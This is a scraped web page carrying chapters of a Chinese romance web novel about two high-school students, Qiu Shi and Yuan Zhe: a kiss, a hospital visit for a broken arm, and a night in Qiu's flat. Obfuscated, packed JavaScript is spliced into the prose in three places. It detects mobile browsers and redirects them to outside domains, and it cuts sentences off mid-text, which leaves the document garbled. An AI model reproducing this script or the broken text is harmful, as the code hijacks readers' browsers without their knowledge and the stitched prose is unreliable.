0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207348|165795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 恶心,厌恶,谩骂,无尽的脏话从不同的嘴里吐出来,不断讥讽着那个瘫软在路边的宿醉身影。 那些唾弃的眼神也曾直截了当地盯着他。 所有诅咒都说他继承了那身肮脏的血液,长大后肯定还是一路货色,同样有病,同样变态,同样不得好死。 裘时很害怕。 他怕原晢也是这么想的。 原晢一直都不怎么待见自己,关于这点,裘时是知道的。 他可以教别人写题,和大家像模像样地说笑,甚至热情接下了烧烤铺的兼职工作,并且做得很好。 尽管未必喜欢,原晢也愿意披上那身伪装融入新环境,但他却不愿意和自己交朋友。 裘时不知道为什么,也不知道自己该怎么办,能怎么办。 他有很多假朋友。 那些朋友大多是远在澳洲的母亲“买”给他的,还有一些是被杨老师的糖果哄骗来的。他们都是假朋友。 大人们总以为他什么都不懂,但裘时在很小的时候就见识过了——那些从长辈口中学来的谩骂讥讽全都消失在一夜间,几乎所有人都变得和善起来,因为和他当朋友就可以收到极为厚重的回礼,可能是大红包,新品玩具,或者别的什么值钱东西。 所以大家才愿意和他一起玩。 那些都是假朋友。 裘时有很多假朋友,但他没办法拒绝。 因为他没有别的朋友了。 后来,为了更方便管理申经街,他也慢慢学会了如何收买人心。 买朋友是一件很简单的事情。钱而已。他不需要那么多钱。让利会让人与人之间的沟通变得简单很多,也会让那些假朋友变得真一点。 但他不想“买”原晢。 原晢是特别的。 原晢是他主动交到的第一个朋友。 尽管这个朋友第一天就跑了。 尽管这个朋友早就不记得他了。 但裘时一点也不介意。 他很喜欢原晢。 在这个夏天重逢的第一眼就喜欢了。 或许裘时也搞不清楚什么是喜欢,但他总想逗他,想和他说话,想每天都黏在他身边。 这种感觉,和过去买朋友充热闹的时候是不一样的。 甚至还无故多出了某些从未有过的心境——那种想要把这个人弄得糟糕的冲动总会时不时冒出来,挠得他酥痒难耐。 但他每次都忍住了。 这就是喜欢吧。 因为太喜欢,所以总是忍不住想靠近,所以被推开的时候喝了很多酒,所以不小心上了头。 裘时很懊恼。 他又忍不住抓自己了。 后颈处,手臂上,到处都是渗血的红痕。和小时候一样。 长袖衫都有些遮不住。 所以他逃跑了。 可是…… 看着眼前同样破皮的嘴角,裘时忍不住低头笑了一下。 刚刚那个吻让他有了留下来的理由。 原晢好像还不太会接吻,啃得他好痛。 要好好教一下。 “我可以接受不公开。”裘时抬手帮原晢擦了一下嘴角,认真道:“澳洲十八岁就可以登记了。” “原晢,我们结婚吧。” 15. 猎物 原晢简直被这人的脑回路惊得五体投地。 他张嘴也不是,闭嘴也不是,只能直愣愣地傻在空气里,一手撑着上半身缓慢后移。 怎么就…… 怎么就……就,就就就扯到结婚了?! “轰隆——轰隆——” 天际沉默了片刻,直接劈下几道大雷。 看吧,老天也不同意。 “要下雨了。”原晢说,“在树下会被雷劈的。” “你喜欢我么?”裘时追问。 “你不怕被雷劈吗?”原晢说。 “说谎才会遭雷劈。”裘时看着他,眼神里满是得意:“原晢,你喜欢我么?” 原晢猛地摇头。不敢说话。 喜欢?当然不啊! 但他也没办法否认——那只是单纯脑抽情况下的报复性行为,如果被瘟神知道了真相,以这人的骚包脾性肯定要再来一口,这样下去,岂不是没完没了了? “嗯,这样啊。”裘时步步紧逼,“所以,哥哥可以和不喜欢的人接吻?” “嗯……”原晢愣住了,“嗯?!” 怎么绕过来的? “不是……我,我我没有……” 原晢终于发现自己被套路了,可他还没抬头就被人摁住了下巴。 “不喜欢我?”裘时笑着把手里的小泥脸转了回来,在那层本质透白的皮肤上搓了一圈,终于是勾了勾手指。 “那再亲一个。” “不,不不不,不要……嗷!” 眼看瘟神马上就要怼过来了,原晢实在不想再记账,只能习惯性抬起右手抵抗,结果错位的骨头疼得他像个野生猿猴一样接连鬼叫了几声,直接朝前栽了下去。 “嗷嗷嗷嗷嗷嗷嗷——” - 原晢从没这么丢过脸。 他已经不想回忆自己是怎么出现在医院里的了。 正值晚间挂号高峰,狭窄拥挤的急诊区一片狼藉。放眼望去,孩童哭闹此起彼伏,病痛呻吟不绝于耳,而他,一个堂堂现代标准五点三七九尺大男儿,就这么被那个姓裘的一路公主抱着送上早已等候在入口处的担架,在一行专业人员的护送下高调冲进了特设的VIP通道…… 非常惹眼醒目…… 重要的是……他腿没瘸啊! 原晢从担架上站起来的时候,明显感觉眼前熬夜过度的中年医生愣了一下。 随后他也愣了一下。 因为这位白大褂胸前的铭牌明显比别人多了两个字——实习。 这……好像图文不符啊? 只见白大褂点了点屏幕上的就诊资料,顺手从后脑勺捞了一把头发回来,终于是露出了年轻人该有的长相。 三十,或者三十出头的样子…… 原来学医会秃成这样吗…… 原晢自认为表情管理做得不错,至少他并不想让对方感到被冒犯,但旁边那位的脸色就截然不同了。 “主任呢,今晚骨科就你一人啊?”裘时满脸嫌弃。 “哎呀,裘爷您就别站这儿晃了,我紧张。”白大褂乐呵呵地打开光照仪器,指着原晢的骨头片子说:“问题不大,用石膏固定固定就行,待会儿我肯定给打得结结实实的,这实□□熟得很,您就放心吧。” “不放心。”裘时说。 “哎哟真是求求了,您看这急诊区都忙成啥样了,这种小问题,真不用麻烦师父他老人家,裘爷你得相信我。”白大褂紧张搓手,“可您一站这儿吧,我就紧张,我一紧张就容易手抖,手抖就……” 裘时不得不向后退了一步。 “嘿,没事儿啊,别怕。”白大褂嘿嘿笑着,转身对原晢说:“就是吧,这位小兄弟得遭点罪了,右手这块地保守估计要封六周,未来一个多月可能干啥都不得劲儿,除非你是左撇子,不然连刷个牙都成了大麻烦……要不,直接住院休息一阵?” 住院?! 原晢吓得嘴角都抽了一下……这中年实习生到底可不可信啊,怎么突然就直接事态升级了,刚刚不还说是打个石膏的小问题吗? “医生,我高三了,压力特别大。”原晢声音极低,生怕旁边一脸严肃的瘟神非要同意这种劳民伤财的过度治疗方案。 “我没时间住院。”原晢强调。 “哎,这就是国内教育的问题了,高考高考,高考哪有四肢健全重要啊,这手可是要用一辈子的,可不得悠着点啊。”白大褂叹了一气,继续问:“那家里还有大人么?” 这次原晢看清了那个小牌子上的所有字——华一拓,骨科,实习,华佗真传弟子。 最后那行小字是手写体。 “……”原晢倍感无语。 奈何命还在别人手里,又有个瘟神在身后坐镇,他只能乖巧地摇头否认:“没,我自己住。” “哎,我一猜就是!”华一拓满意地点点头,开始着手准备石膏材料,但老嘴依旧一刻不停:“在路上被我们裘爷捡了吧,这条应急道都多少年没人碰过了,吓得我以为是哪个大领导来玩深夜视察,正愁着要不要把老院长摇醒呢,你小子,真是好运气啊!” “……” 原晢抬头看了眼瘟神:你能让他闭嘴么? 可瘟神的表情肉眼可见舒展不少,还有点暗爽的意思,直接双手一摊靠墙上去了。 原晢脑子嗡嗡响,没看懂。 “但不管怎么说,自己住肯定是不行的。”华一拓边打石膏边指了指旁边诊室,说:“听到隔壁的惨叫声了吗,那人就是独居的,原本就是轻微错位,再养个十天八天就能好,结果今晚洗澡的时候不小心摔浴室里了,骨头全碎,现在等着排手术室呢。” “这可不是个例,这种养护不当导致病情恶化的,每周我都能遇到好几起,放你回去自己瞎折腾就是不负责任了,被师父发现了又得挨骂。” “所以啊,还是慎重考虑一下?”华一拓认真缠着纱布,不忘查看贴墙的住院流程和原晢解释:“放心,院里的护士护工都是经过专业训练的,你这情况学生医保一刷也用不了几个钱,还是买个安心好。” “不,不用住院……就别占用公共资源了……”原晢弱弱地看向裘时,热切期盼瘟神此刻愿意陪他演一出戏。 “我可以联系朋友帮忙……”原晢小声说。 “哈?医院就是为了病人设立的啊,以后每天喂饭洗澡上厕所的,还要隔三差五来复查,女朋友都要被吓跑了,你上哪儿去找这么靠谱的朋友?”华一拓毫不留情地拆穿了少年的谎言,笑着和他保证:“放心,当年裘老爷子赞助了多少才把咱这全省最好的骨科医院建起来,不说别的,就看咱裘爷的面子,这床位我也肯定给你腾出来,放心吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15207349|165795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“真不用……”原晢看着逐渐被包裹住的胳膊,脑子越来越沉,声音也越来越小:“我能自理,左手也行,实在有事再找人帮忙就可以了……” “你左手也行啊?” 华一拓双目一亮,贱兮兮地瞅了眼原晢,带着某种意味深长的笑容继续说道:“真牛逼,但还是少用点吧,久了就没新鲜感了,而且你这样说,右手听到会很伤心的,这一伤心就好得慢了。” “……”原晢的耳后根肉眼可见地红温起来。 这实习生压根儿没证吧! 怎么能在大庭广众之下如此玷污白衣天使的美好形象! 原晢习惯性想回头看另一个人的反应,但他硬生生给忍住了。 不能回头。 绝不能回头。 他也不是不能当众谈论这种事儿,虽然过去十几年他确实没伴儿进行这类讨论,但,但但但此刻瘟神也在场啊! 瘟神今晚还说了喜,喜喜喜欢他! 这这这种事就不适合在有二心的人面前提吧!多尴尬啊!多危险啊! 这属于某种暗示吧!!! 万一瘟神突然不满足于接吻了怎么办!!! 靠!!! 原晢恶狠狠地盯着面前一点都不天使的白大褂,左右脸蛋也跟着上了个色。坚决不回头。 “哎哟,别害羞哇,这屋里都是男的,小兄弟紧张个什么劲儿。”华一拓笑了,轻拍着自己的石膏成果说:“我就是想提醒提醒你,接下来是真的不方便,没少过胳膊的人很难想象的,独居人群面临的风险就更大了,搞不好明天就进手术室,多遭罪啊。” “……我会注意的。”原晢嘴硬道。 “别逞能了,你看,现在挂个脖子还好动吗,乖乖住院吧。”华一拓无奈地看着他,直接从文件堆里抽出一张纸,说:“否则,你让朋友来签个免责同意,签了我就放你走。” “……”原晢花了一秒钟回头,紧接着就是无穷无尽的懊悔。 他终于明白瘟神在笑什么了。 这条街上果然处处是坑。 现在根本不是住不住院的问题,留院观察也好,逃亡回屋也罢,以他目前这一手悬空的独臂猿状态,完全就是笼中鸟瓮中鳖,早就被瘟神视为猎物彻底盯上了。 除非他能找到第二个人来签字。 很显然,原晢没这能耐。 就连自愿住院的签字单,他可能都需要作为陪同人的裘爷亲自登记一次大名才能摇到床位。 然后这个姓裘的肯定天天来医院骚扰他。 呵。 所以今晚不管他住不住院,全特么是死路一条! 原晢的表情逐渐凝固,求生欲也逐渐消失。 “怎么,你还想让裘爷来伺候你呀?”华一拓笑着说,“小兄弟想啥呢,我们裘爷可是有婚约的人,最近对象都回来了,这一天天忙着呢,远近十里无人不知无人不晓……” 华一拓突然顿了一下,紧接着来回看了看他俩,从上到下,从左到右……嗯? 怎么回事? 好像……还真有点般配? 突然想明白的华医生:“卧槽?!” 只见他们裘爷终于从倚了老半天的白墙边起身,在诊室逐渐凝固的空气中悠哉向前,理所应当地接过那张免责声明。 “当然我来签。” 16. 监护人 在护士站把身上的擦伤淤血都处理好后,原晢终于避开了那莫须有的住院要求,在风雨交加的台风夜顺利跨出了急诊区。 和他的合法监护人一起。 在无人察觉的角落,原晢用幸免于难的左手捏了捏鼻子。 刚刚啃人的时候撞得有点狠,竟然现在才开始痛起来,怕不是脸部感知神经也出问题了。 …… 这都叫什么事儿啊! 怪不得那个画一坨能看出点什么呢,他竟然,竟然蠢到自己把自己的嘴皮子咬破了? 要不是刚刚看到镜子里的人像,原晢根本不敢信……怎么看他都是被蹂躏的那个! 那个姓裘的嘴角才磨损了那么一点点点,这大晚上的不仔细看根本注意不到,而他脸上不仅有血!有草!还有泥! 太尼玛丢人了! 更可怕的是……他这张脸都破相成这样了,那个姓裘的还能下得去嘴? 他到底是有多喜欢……啊呸! 呸! 呸! 呸呸呸呸呸呸呸! 原晢用洗过的左胳膊若无其事地又擦了一次唇角……嘶,不是梦,真的很痛。 看着面前愈发凶狠的瓢泼大雨,原晢往屋檐外挪了一小步,让冰凉直接往脸上吹,颇有点直面风雨的意思。 他决定这回要主动出击,转移话题,势必全身而退。 “你今晚怎么会在那里?”看着变魔术般出现在头顶的大伞,原晢佯装镇定道:“警报声也是你弄的吧,音效真劣质,差点就露馅了,还好那两个人没带脑。” “嗯,那几栋旧楼装有警报系统,主要是火灾疏散用的,其他音效也有。”裘时一手撑伞一手拨着手机,可暴雨天气并不好打车,加了天价的订单也没有司机应答,他只好先把眼前蠢蠢欲动往外跑的人抓回来。 “哦。”原晢在伞下站定,稍显不满:“那真是谢谢你了。” 裘时笑了,腾出手揉了揉那洗不干净的小泥脸,把原晢被风吹乱的头发捣得更乱了些。 “就不能早点出来。”原晢小声讨伐,“看戏看一路了吧。” “这不是怕贸然行事会打乱什么大计嘛。”裘时笑着把手里的顺毛拨回来,“结果有人一路越带越歪,越带越歪,走得连灯都没有了,再等下去估计就只能收尸了。” “……我也没那么菜。”原晢哼唧一声,不悦道:“况且他们的目标估计也不是我,我招谁惹谁了啊,都是上回那个眼镜男派来堵你的吧。” 我就不小心招你了。 原晢动了动嘴皮,生生憋住了后半句。 “还真不是。” 风向变了,裘时用伞挡住屋檐落下的飘雨,一手护着原晢的右肩说:“就在这里等车吧,雨太大了。” “不是?怎么就确定不是了?”原晢看到了面前还未熄灭的手机屏幕,好像是个对话框。 裘时找眼镜男对账了么? 眼镜男否认了? 可如果不是眼镜男,还有谁会花这么多心思跟踪他?还一连跟踪好些天,直到确认暴露了才动手? 原晢僵了一下,甚至忘了应该先把搭在自己肩头的魔爪弹开。 靠? 那两个人……不会真是来劫色的吧? 原晢:“……” 可就算没被偶遇的混子劫成,他现在也落到瘟神手里了! 这横竖都是死,就不能死得痛快点吗! 啊啊啊啊啊啊啊啊! 原晢不自觉吸了吸鼻子,掏出手机假装看时间,边说边往外挪步:“这么晚了,又是台风天,现在很难打到车吧,就两步路,我走回去就行了。” “也行。”裘时点了一下头,把伞朝原晢身上移了移,言辞恳切:“要抱抱么?” “……”想起来时的盛大景象,原晢“啪”一声就把那轻放在自己肩头的掌心甩掉了,咬牙切齿道:“抱……抱个屁啊抱!” “你不准再上手!” 看着急诊区外来来往往的人头,原晢抢过大伞直接冲进雨里,强压着怒火抗议:“我又没瘸,能走!” “不准趁人之危!” “保持点距离!” “我来撑伞!!!” - “他们带了刀。” 裘时甩出一张黑乎乎的证明照片,并以此为要挟逼迫原晢搬进了防御系统更强的201。 今晚出现的两个混子并不是附近居民,排查起来需要时间。但也不能完全排除他们只是路人的嫌疑。路人心思不纯,歹念渐生,盯着漂亮少年不放,也十分符合歹人之常情。 毕竟裘时非常认可这一程有色可劫。 总之,在真相水落石出前,缺了条胳膊的原某不再被允许单独行动,必须要接受他这个签字人7x24小时无微不至的照顾。 如果这位病号不愿意也很简单——直接联系急救中心拖回去,VIP特护病房,他亲自照看。 原某:“……” 横竖都是死,原晢简直毫无退路。 听说那个画一坨正值实习转正的关键期,所以他这种存在恶化风险的病人必然会得到特殊照料,可能还有机会见识不少左手使用规范。 原晢当然不想住在满是消毒水味的医院里被各方特别关照,甚至还可能会惊动夏总。他不想让母亲担心。 但他也不想自投罗网搬进201。 原晢反抗了,无果。 因为他连右边口袋里的家门钥匙都掏不出来。 等原晢丧着一张脸被拖进门时,仅剩的逻辑更是被眼前大包小包的行李堆打乱了。 行李?打包好的行李? 这屋子怎么空成这样了? 所以……裘时今晚真是来和他告别的? “你真要走啊?” 原晢指着瞬间被清空的屋子连环发问:“你要去哪儿?就,就,就就走了吗?这学期的课不上了?手续都办完了?材料全备齐了?澳洲那边可以提前这么早报到的吗?” “不走了,说了不走了。”裘时回头朝他挑了个眉,语气轻快:“这些东西也用不上,正好收拾了腾地方。” “澳洲我也不去了,异地很容易分手的,哥哥。” “我会留下来参加考试,和你一起。”裘时把人安置在椅子上,顺手薅了一把头毛,笑着问:“高兴吗?” “……啊?”原晢头痛地戳了戳太阳穴,避重就轻:“你,你说什么……你要留下来考试?” “嗯。”裘时郑重地点了一下头,试图自证:“二中去年一本率高达百分之九十六,我现在的排名至少兜进了九五里,不会给你丢脸的,哥哥。” 是百分之九十五,新旧校区所有排位加起来最末尾的四位数……原晢感觉头很痛。 “别拿这种事情开玩笑了,本科是第一学历,现在到处都看这个,卡线报不了什么好学校,运气差的话可能连专业都选不了。”原晢叹了口气,认真道:“反正,结果肯定都不如你在澳洲的学校好。” “这叫上升空间大。”裘时勾了勾原晢的手指,一脸谄媚:“不是还有一年么,你以后教教我呗,哥哥。” “不卡线,我要和你考同一所大学。”这个姓裘的说。 原晢欲言又止:“……” 这是让他主动降分的意思吗…… “我,我教不了……”想起整个暑假都在对牛弹琴的痛苦经历,原晢猛地摇头:“教不了教不了……” “你不是想当漫画家吗?”原晢指着那堆没被带走的画册力挽狂澜,“画画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15207350|165795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是需要灵感的,你来考试干什么啊,天天跟着标准答案走,这一来二去的,灵气都要消失了。” “我只是爱看。”裘时笑着强调:“爱,看。” “我不喜欢画画,小时候为了不让杨老师担心天天画,画吐了,一点都不喜欢。” 原晢无言以对:“……” 怪不得跑路的时候都懒得带走呢…… “那你以后想干什么?”原晢问,“有没有什么梦想之类的?” 裘时想了一下,摇头。 原晢刚想举例,突然发现他自己也没什么大志向,都是随波逐流罢了。 罢了罢了。 但有些话他还是要说。 “裘时,可能你现在还不知道未来要做什么,总觉得去哪里念书都一样,可万一某天突然有想法了,又因为学历的问题变得被动,你会后悔的。”原晢看着他说,“有些时候,钱也没法应急。” “学历不只是一张废纸,还有环境圈子校友资源这些附加价值,俗世社会,评判标准就是这么单一。” “你再好好考虑一下,反正……总归是不一样的。” “我从不后悔。”裘时说。 “后不后悔不知道,但不能因为我后悔。”原晢叹了口气,继续说:“好的教育强调批判性思维,会着重培养对人事物的逻辑构建和独立思考能力,即使现在没方向也不要紧,可以不断尝试感兴趣的领域,总能找到自己想做的事情,国外比较盛行那套,你爽了十几年,没必要回到题海战术自讨苦吃,这种考试不适合你。” “那你呢。”裘时牵着原晢的左手说,“你不也回来考了吗。” “我就适合应试教育啊。”原晢点头,“不用动脑想太多,对着答案哐哐写,我就吃这一套。” “那我也要吃。”裘时语气笃定,像个吃不到糖的倒霉小孩。 “我就要吃。”这个姓裘的说。 “……”原晢环顾四周寻找目标,才发现那张挂墙上的乘法表也被收起来了,他收回左手嘟囔道:“吃吃吃,三三得几啊,你乘法表背熟了吗?” “熟。”裘时看着面前的错误创始人笑了笑,“三三得六呀,哥哥。” “……这位爷,您还是别来拉低今年的一本率了,侯老师就指着你们几个快点走呢,咱班的均分都垫底了。”原晢又叹了一声,说:“你今晚就走吧,还赶得上飞机么,赶不上我出钱换下一班。” “嗯哼,这么快就想赶人了?”裘时突然伸手按住原晢的下巴,带着对未竟事业的不甘直接往他脸上凑,“好像,还有一笔什么账没算完呢。” “什,什么账……”原晢立刻拖着椅子往后退,生怕这人惦记着今晚没啃上的那一口。 “这位病号,我现在可是你的监护人,白纸黑字写着的,别想耍赖。”裘时笑着站起身,打开面前的行李箱帮原晢挑选换洗衣物,单向和他签了约:“就这么说定了,这石膏至少裹六周,日子长着呢,以后上课的笔记错题什么的都交给我,我明天就搬你旁边,保证完成任务。” “给个机会嘛,哥哥。”裘时把手里的新衣服递给原晢,“说不定下次月考就突飞猛进了呢。” “挤进三位数有奖励吗?” “哥哥,奖励?” “咳……咳咳……” 原晢现在一听到这声“哥哥”就心慌,也不知道都三三得六了还能说什么,只能装咳。 可先前回避的重点依然等着他澄清。 他含糊道:“还有,那,那什么……” “咳,裘时,那个……” “我们没在一起。” “你亲我了。”这个姓裘的满脸得意,“还因为追我受伤了,我会负责到底的,哥哥。” “先帮你洗个澡?” 17. 安全期 原晢用尽了所有力气才把身上的短袖拆下来,缝线都快崩完了。 但他不敢声张。 因为浴室门外一直有只饿狼对他虎视眈眈,不得不防。 原晢很草率地冲了一个澡,很草率地刷了一通牙,再很草率地混着石膏味滚上了别人家的大床。没办法,他也知道这样不太礼貌,但这间屋子的主人愣是藏起了楼上钥匙不让他回自个儿家,就只能这样将就下去了。 好在那个姓裘的突然有了良心,行为上变得绅士不少,并没有和他挤一张床。 大概是天神显灵了。原晢心说。 确认他吃过今晚的内服药后,裘时熄灯道了晚安,直接把铺盖丢床沿边躺下了。 半分钟后,地上的呼吸声变得越来越轻,逐渐归于平稳。 秒睡。 双眼大睁的原某:“……” 好一个不容置喙的合格监护人! 窗外依旧风雨肆虐。 雷暴的频次越来越密,闪电的亮光似乎要把地表射穿。 原晢第一次切身体会到台风天的威力,沉重的雨点不断被狂风驱使,前仆后继地往窗台上砸,左一道霹雳,右一道亮光,也不知道老房子年久失修的脆玻璃还能不能扛过今晚。 他忍不住支起脖子,认真巡视了一圈地面,确认没有漏水点才又重新躺下了。 地上那个姓裘的已经睡死了。 原晢并不认床,上回也在这里睡得贼香,但此刻他还是失眠了。 或许是刚刚吃了一堆消炎止痛药的关系,现在原晢脑子里全是浆糊,捋不顺的事情太多,想复盘都不知道从哪条岔路开始…… 他把绑着石膏的右手往边上放了放,在可活动范围内烙饼似的左翻一圈,右翻一圈,尽可能将被褥摩擦间的细微声响隐匿在骤雨之下。 原晢总是一遇到雷雨天就心慌。 狂风骤雨的噪声很大,和过去不由分说就砸门毁窗的讨债者如出一辙,噼里啪啦,没完没了。 可今夜,身旁的呼吸声却让他莫名安定了下来。 望着那张睡梦中的脸,原晢忍不住往床沿边靠了靠。 是太累了么? 也不知道这个姓裘的跑哪里去了,好像今早才刚刚落地,玄关处的那只行李箱还挂着新鲜出炉的登机托运条。 这人竟然刚回来就想跑,还在一天之内把行李全部打包装箱了……原晢不禁啧了一声。 真够混蛋的。 只是……这混蛋一直长这样么? 或许是初见时的那头蓝紫长毛太过惹眼,直接盖过了这副皮囊余下的风头,原晢竟从未认真观察过瘟神的长相。 他不禁把脑袋往床外移了一点。 现在终于能光明正大地偷窥一把,他得抓紧机会。 眉型很锋利,不说话的时候看着有点凶。 睫毛……好像有点长? 原晢从自己眼角捞了一根做对比。 瘟神的睫毛是比较长,都在脸上映出光影了,比他这根至少长出六分之一。 呼,吹掉。 鼻子也长得正儿八经的,两个孔,不能再多了。 下颌线……确实肉感不够。 棱角分明没意思,捏起来肯定没有他自己的脸蛋舒服。 嘿。 原晢小心地伸出左手,轻声下移,悄悄在瘟神脸上戳了一下。 然后,嘴唇…… “咳,咳咳……” 看到瘟神唇角上和自己对称的那处破损,原晢没忍住咳了两声。 这一咳就把人咳醒了。 总之是个普通帅哥。不丑。 原晢很中肯地给了评价,在被抓包前一头栽回被子里装睡,差点把透气的鼻洞都盖住了。 “睡不着么?” 原晢感到有个爪子在自己头发里揉了一下,随后又帮他理了理被角,带着点哑音的笑声也落了下来:“这样会闷死的。” “嗯……”原晢小声投降。 “门窗都上了锁,防盗报警器也开着,不会有人能一声不吭就把你绑走的,放心睡吧。”裘时轻拍着原晢的被子说,“我在呢。” “唔……”原晢像只泥鳅一样挣扎着坐了起来,单手把玩着枕边的大白猫,在轰雷声的掩饰下为自己小声辩解:“不是因为这个。” “我只是有点问题没想明白。”原晢往大床左侧挪了挪,给躺在右侧地板上的监护人空出了一半床位,“地上不冷么,你要不要……” 原晢话还没说完就开始后悔。 可裘时只是摇了摇头,并没有接茬,也没打算趁人之危。 “我怕碰到你的手。”这个姓裘的说。 “喔。”原晢看着右手腕上的石膏型态,突然有种失足落水又被顺利打捞上岸的庆幸感。 难道……这就是所谓的安全期? 对,安全期。 他安全了。 这个姓裘的总不能对伤患做些什么吧?那也忒不道德了! “那,那你……”原晢换了个方向挪位置,把左半边床空了出来,眼神指着房间内的环绕路线说:“这样就碰不到了。” 裘时点头笑了一下,伸手帮原晢把靠枕垫好,起身绕过半张床和他一起靠在了床头软包上。 “想不明白什么?”裘时护着他说,“以后睡不着可以叫醒我,说了这里提供陪聊服务。” “还有其他服务么?”原晢突然有了熊心豹子胆,睁着双好奇的大眼睛问。 还没等人回答,他又清了清嗓子,迫不及待直入主题:“咳,裘时,你是怎么知道自己喜……喜欢,男,男的?” 裘时怔了一下,接着逮住原晢睡乱的呆毛一顿乱搓,头发丝都翘成了爱心状:“因为你是男的。” “……”原晢面无表情地指了指垂在身侧的石膏手。 果然,魔爪自动关停。 安全期就是好! 原晢再次清了一下嗓子,非常严肃地审问起眼前人:“那,你怎么知道自己喜欢我?” “你确认你喜欢的是我吗?” “你为什么就喜欢我了?” “如果我是女生呢?” 这叫什么话……原晢给自己翻了个白眼,又换了个盘问方式继续出击:“你以前谈过么?” “班里同学说好多女生和你表过白,可是一个都没成,为什么?” “如果当时是男生和你表白,你会不会就纳入考虑范围了?”原晢顿了一下,紧张地咽了咽口水,赶忙解释说:“我的意思是,有没有可能是因为你父亲的关系,所以你认为自己也……” 看着黑夜里那双永远诚挚的眼睛,原晢开始变得底气不足:“就,就就是,你以为……但其实……” “或许……”原晢有点迟疑,“你不是。” 裘时没有说话。 经过沉默的三秒钟后,原晢开始后悔自己提了这么一嘴。 这番质问的逻辑也有点渣。 别人都说喜欢你了,还不痛不痒地逼逼叨逼逼叨,即使真心瞬息万变,也不该当面质疑对方的真心吧……他有罪。 “我也没别的意思,我就是有点,点点,一点点,好奇。”有罪的人比划着指缝里的丁点儿好奇说,“那你以后,岂不是不会有孩子了?” “不对……”突然想起什么,有罪的人惊了一下,抬起迷糊的眼神问:“那你是怎么来的?” “哦……所以……卧槽,不道德!”有罪的人终于闭上了嘴。 裘时已经在旁边笑趴了。 “原晢,你怎么这么可爱。”裘时凑过来捏了捏那肉乎乎的小白脸,指着原晢怀里的蠢萌玩偶猫问:“所以,你想生宝宝?” “没有!”原晢大吼一声,直接把烫手的大白猫丢了出去,蒙上被子倒头就睡:“不聊了,睡觉。” 裘时笑着揉了揉那个闷头的脑袋,从床尾抱起可怜兮兮的大白猫,又起身到衣柜里拿出另一只同款黑猫,搂在怀里一并送给了他。 “诶?这是一对的吗?” 原晢就着闪电的亮光观摩起手中的两只玩偶猫。虽然玩偶的表情简单到雌雄难辨,但绒毛一黑一白,wink也在一左一右,再配上那笨拙又呆滞的大脑袋……它们怎么看都是一对。 原晢将黑猫与白猫缓缓靠近,猫脸蛋上的磁吸装置很快将两只小可爱脸贴脸靠在了一起。 “啪!” 完美契合。 黑白猫咪就是一对。 如此般配两只小东西竟被某人强行分居两地,阴阳两隔,不见天日……某人实在太过分了! “你不能自己孤家寡人的就天天拆散人家吧。”原晢把两只玩偶猫并排放好,在他和瘟神之间隔出一道安全线,“竟然还把黑猫丢柜子里关禁闭,真狠心……来,牵手手。” “你说得对。” 裘时目光虚空,歪歪斜斜地躺倒在床上,后脑勺直接落在了两只玩偶猫中间,磁吸装置又“啪”地一声破开了。 原牧师神圣的牵手仪式顺利结束。 “别人取名是恰逢其时,我不是。”裘时说。 “我是时机不对。” - 原晢怔了好一会儿,不再运转的大脑才想明白裘时在说什么。 是那句“不道德”。 裘父裘母的婚事是家中长辈安排的,金童玉女门当户对,虽然两人没什么感情基础,但也算是联姻界中日久生情的典范,在当地八卦网格里多少能占据一席之地。 这桩喜事一度倍受关注,直到当事人发现被骗婚才草草了之。 原晢从长辈口中听过一些旧闻,加之在康养中心遇到的疯女人和不断出现的眼镜男,他多少能猜出旁人不再谈论的事件全貌。 原晢现在特后悔。 他真是摔出了脑震荡才哪壶不开提哪壶。 他有罪。 “如果没有我,李曼迪当初就不会被困在这里,整整两年。”裘时闭上双眼,沉声说:“如果没有我,她也不会这么恨这座城市吧。” “恨到一次都不回来。” 原晢自知愚钝,他不知道现在该说什么,能说什么。 他有罪。 有罪的人搓了搓根本牵不上手的玩偶猫,笨拙地伸出唯一能用的左手,学着漫画里哄人的力度揉了揉那个垂丧的脑袋。尽可能温柔地。 “我没事。”裘时突然笑着睁开眼,“都什么陈年旧事了,早翻篇了。” “李曼迪女士又结婚了。”裘时直接握住了原晢的手,语气轻快:“我刚去澳洲参加完她的婚礼,这第五任继父在南澳盘了好多农场,贼拉大,开车去放羊都一眼望不到头的那种,到处都是自由的风,明年暑假带你去?” 原晢:“……” 他嫌弃地盯着面前这喝假酒的家伙,刚刚的那点黯然神伤了无痕迹,像是专门骗手牵似的。 “农场?”作为有罪的人,原晢觉得自己应该予以回应,至少简单配合一下:“是可以剪羊毛挤羊奶的那种农场吗?” “嗯。”裘时得意笑着,邀请道:“我还在房车里住了两周呢,沉浸式表演开车抓羊,一只一只给它们洗屁股打药,结算时领了不少薪水,明天请你吃饭。” “什么?还有钱拿?”原某一说到银子就来劲儿,黑夜中的两只眼睛激动得生生发绿光。 